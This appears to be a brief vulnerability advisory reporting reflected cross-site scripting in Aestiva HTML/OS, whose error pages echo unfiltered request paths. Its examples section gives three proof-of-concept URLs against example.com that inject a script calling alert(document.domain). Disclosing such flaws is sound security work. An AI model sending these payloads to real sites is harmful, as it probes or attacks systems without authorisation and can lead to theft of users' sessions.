Cross-Site Scripting in Aestiva's HTML/OS

[eax () 3xT org]

"Aestiva HTML/OS is a high-performance database engine and development suite for building advanced web sites and 
web-based software products."

SUMMARY:

The Aestiva HTML/OS CGIs appear vulnerable to XSS due to poor error
reporting (no metacharacter filtering).

Anything you want can be appended to any URL ending in '/' in an area of
the website where HTML/OS is handling the request.  The resulting error message
will echo back the unfiltered request.


EXAMPLES:

I'll refrain from listing real-world examples (s/www.example.com/<target>/):

http://www.example.com/pages/htmlos/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.example.com/cgi-bin/erba/start/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.exmaple.com/cgi-bin/start.cgi/%3Cscript%3Ealert(document.domain);%3C/script%3E

Thousands of websites are currently vulnerable according to Google, including
Aestiva.com.


VENDOR STATUS:

Has been notified but has not responded.

-------------------------------------------------------------------------------
eax / 3xT